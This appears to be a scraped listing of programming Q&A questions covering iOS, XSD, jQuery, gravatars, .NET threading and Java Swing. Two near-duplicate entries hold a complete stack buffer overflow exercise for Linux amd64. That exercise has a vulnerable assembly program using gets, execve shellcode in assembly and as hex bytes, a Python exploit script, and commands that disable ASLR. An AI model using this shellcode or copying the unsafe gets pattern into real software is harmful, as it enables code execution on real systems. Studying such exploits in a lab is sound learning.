    Interface Builder will only allow me to hook up such events for an button. But like in HTML, I just want to haven an blank UIImageView where - as soon as the user taps it - a method is invoked. I hope there is some cool programmatically way of doing that, which I don't know about. UPDATE: In my View Controller that creates the UIImageView I tried to do this: SEL actionSelector = @selector(doSomethingWhenImageIsTouched:); [self.myUIImageView addTarget:nil action:actionSelector forControlEvents:UIControlEventTouchUpInside]; The compiler gives me a warning, that UIImageView may not respond to addTarget:... what do I have to do so that it works with an UIImageView. I see in the docs that UIImageView does not inherit from UIControl, but addTarget: is part of UIControl. UPDATE: I ended up creating an UIButton after creating the UIImageView. Then I set the frame of that button to the frame of the UIImageView, and alpha to 0.1f. For some reason, it will not work if alpha is 0.0f. And then, I did that cool addTarget: thing...

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  • Describe repeating XML nodes in W3C XML Schema?

    - by NotMyName
    I have an XML document like: <Root> <Bravo /> <Alpha /> <Charlie /> <Charlie /> <Delta /> <Foxtrot /> <Charlie /> </Root> The order of the nodes does not matter. Each node may appear zero or one times, except for Charlie. Charlie may appear zero, one, or arbitrarily many times. The straightforward way to express this in XSD is: <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="Root"> <xsd:complexType> <xsd:all> <xsd:element name="Alpha" minOccurs="0" maxOccurs="1" /> <xsd:element name="Bravo" minOccurs="0" maxOccurs="1" /> <xsd:element name="Charlie" minOccurs="0" maxOccurs="unbounded" /> <xsd:element name="Delta" minOccurs="0" maxOccurs="1" /> <xsd:element name="Echo" minOccurs="0" maxOccurs="1" /> <xsd:element name="Foxtrot" minOccurs="0" maxOccurs="1" /> </xsd:all> </xsd:complexType> </xsd:element> </xsd:schema> But this does not work, because xsd:all does not allow for maxOccurs greater than 1. Since I cannot use xsd:all, what should I use?

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  • Hidden div height (changing my advice)

    - by fudgey
    Ok, I was going to answer someone's question here on SO about why their script wasn't working. They loaded content into a hidden div, then got the height so they could animate the wrapping div. But I always try to test the code I provide. So I made this demo to prove it to them. So, umm, have I entered the twilight zone or am I dreaming right now? pinches self OUCH! I tried that demo in Firefox, IE and Chrome and both methods return the same value. Firebug says zero! I rebooted my computer and I even changed the code a bit (removed the height function) and tried it with jQuery 1.3.2 and it still worked! I know hidden elements USED to return a zero value. Even this SO Answer is giving the advice I would have! So I guess my question is... did I miss something or are we giving bad advice?

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  • Which itch does a gravatar scratch?

    - by WizardOfOdds
    This is a very serious question: I've seen lots of threads here about gravatars but I couldn't find and answer to this question: what computer identification/authentication (?) problem, if any, are gravatars supposed to solve? Neither the Wikipedia entry nor the official website are very useful. The official website mentions a "globally unique" picture. Unique in what sense? As far as I can see it's only the hash that is unique: two persons can have two pictures looking very similar if not identical. Note that this question is not about which problems do gravatars unarguably cause (like leaking 10% of the stackoverflow.com accounts email addresses like discussed here : "gravatars can leak email adresses" ) but about which authentication (?) problems, if any, are gravatars supposed to solve? Is the goal just to have a cool/funny/cute icon and save bandwith by having it stored on a remote website or is there more to it, like serving a real authentication purpose which I'd be completely missing? Note that I've got nothing against them and find them rather cool, but I'm just having a hard time figuring out what their purpose is and if I should care or not about them in the webapps I'm developping.

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Setting corelocation results to NSNumber object parameters

    - by Dan Ray
    This is a weird one, y'all. - (void)locationManager:(CLLocationManager *)manager didUpdateToLocation:(CLLocation *)newLocation fromLocation:(CLLocation *)oldLocation { CLLocationCoordinate2D coordinate = newLocation.coordinate; self.mark.longitude = [NSNumber numberWithDouble:coordinate.longitude]; self.mark.latitude = [NSNumber numberWithDouble:coordinate.latitude]; NSLog(@"Got %f %f, set %f %f", coordinate.latitude, coordinate.longitude, self.mark.latitude, self.mark.longitude); [manager stopUpdatingLocation]; manager.delegate = nil; if (self.waitingForLocation) { [self completeUpload]; } } The latitude and longitude in that "mark" object are synthesized parameters referring to NSNumber iVars. In the simulator, my NSLog output for that line in the middle there reads: 2010-05-28 15:08:46.938 EverWondr[8375:207] Got 37.331689 -122.030731, set 0.000000 -44213283338325225829852024986561881455984640.000000 That's a WHOLE lot further East than 1 Infinite Loop! The numbers are different on the device, but similar--lat is still zero and long is a very unlikely high negative number. Elsewhere in the controller I'm accepting a button press and uploading a file (an image I just took with the camera) with its geocoding info associated, and I need that self.waitingForLocation to inform the CLLocationManager delegate that I already hit that button and once its done its deal, it should go ahead and fire off the upload. Thing is, up in the button-click-receiving method, I test see if CL is finished by testing self.mark.latitude, which seems to be getting set zero...

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  • How can I simulate this application hang scenario?

    - by Pwninstein
    I have a Windows Forms app that itself launches different threads to do different kinds of work. Occasionally, ALL threads (including the UI thread) become frozen, and my app becomes unresponsive. I've decided it may be a Garbage Collector-related issue, as the GC will freeze all managed threads temporarily. To verify that just managed threads are frozen, I spin up an unmanaged one that writes to a "heartbeat" file with a timestamp every second, and it is not affected (i.e. it still runs): public delegate void ThreadProc(); [DllImport("UnmanagedTest.dll", EntryPoint = "MyUnmanagedFunction")] public static extern void MyUnmanagedFunction(); [DllImport("kernel32")] public static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint dwThreadId); uint threadId; ThreadProc proc = new ThreadProc(MyUnmanagedFunction); IntPtr functionPointer = Marshal.GetFunctionPointerForDelegate(proc); IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, functionPointer, IntPtr.Zero, 0, out threadId); My Question is: how can I simulate this situation, where all managed threads are suspended but unmanaged ones keep on spinning? My first stab: private void button1_Click(object sender, EventArgs e) { Thread t = new Thread(new ThreadStart(delegate { new Hanger(); GC.Collect(2, GCCollectionMode.Forced); })); t.Start(); } class Hanger{ private int[] m_Integers = new int[10000000]; public Hanger() { } ~Hanger() { Console.WriteLine("About to hang..."); //This doesn't reproduce the desired behavior //while (true) ; //Neither does this //Thread.Sleep(System.Threading.Timeout.Infinite); } } Thanks in advance!!

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Java: does the EDT restart or not when an exception is thrown?

    - by NoozNooz42
    (the example code below is self-contained and runnable, you can try it, it won't crash your system :) Tom Hawtin commented on the question here: http://stackoverflow.com/questions/3018165 that: It's unlikely that the EDT would crash. Unchecked exceptions thrown in EDT dispatch are caught, dumped and the thread goes on. Can someone explain me what is going on here (every time you click on the "throw an unchecked exception" button, a divide by zero is performed, on purpose): import javax.swing.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; public class CrashEDT extends JFrame { public static void main(String[] args) { final CrashEDT frame = new CrashEDT(); frame.addWindowListener(new WindowAdapter() { public void windowClosing( WindowEvent e) { System.exit(0); } }); final JButton jb = new JButton( "throw an unchecked exception" ); jb.addActionListener( new ActionListener() { public void actionPerformed( ActionEvent e ) { System.out.println( "Thread ID:" + Thread.currentThread().getId() ); System.out.println( 0 / Math.abs(0) ); } } ); frame.add( jb ); frame.setSize(300, 150); frame.setVisible(true); } } I get the following message (which is what I'd expect): Exception in thread "AWT-EventQueue-0" java.lang.ArithmeticException: / by zero and to me this is an unchecked exception right? You can see that the thread ID is getting incremented every time you trigger the crash. So is the EDT automatically restarted every time an unchecked exception is thrown or are unchecked exceptions "caught, dumped and the thread goes on" like Tom Hawtin commented? What is going on here?

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  • OpenNETCF.Stopwatch -> only ticks changing, not Elapsed

    - by pithyless
    I've been trying to track down a bug I thought was thread-related, but I think instead there is an issue with the way I am using OpenNETCF's Stopwatch. I am using OpenNETCF.IoC in my application, but for the sake of simplicity I moved the following code directly into a view: public partial class WorkoutView : SmartPart { ... private Stopwatch stopwatch; public WorkoutView() { ... stopwatch = new Stopwatch(); stopwatch.Reset(); stopwatch.Start(); WorkoutDisplayTimer = new Timer(); WorkoutDisplayTimer.Interval = 500; WorkoutDisplayTimer.Tick += new EventHandler(WorkoutDisplayTimer_Tick); WorkoutDisplayTimer.Enabled = true; } void WorkoutDisplayTimer_Tick(object sender, EventArgs e) { ... stopwatch.Stop(); lbl.Text = stopwatch.ElapsedTicks.ToString() + "NOT WORKING: " + stopwatch.Elapsed.ToString(); stopwatch.Start(); } ... } Long story short, looking at stopwatch in the debugger, the only values that ever get updated are ElapsedTicks, mElapsed, mStartPerfCount. Everything else is always zero. Is this expected behavior? Do I need to call an additional method to have the stopwatch calculate the Elapsed struct? (Note: stopwatch.ElapsedMilliseconds is also zero)

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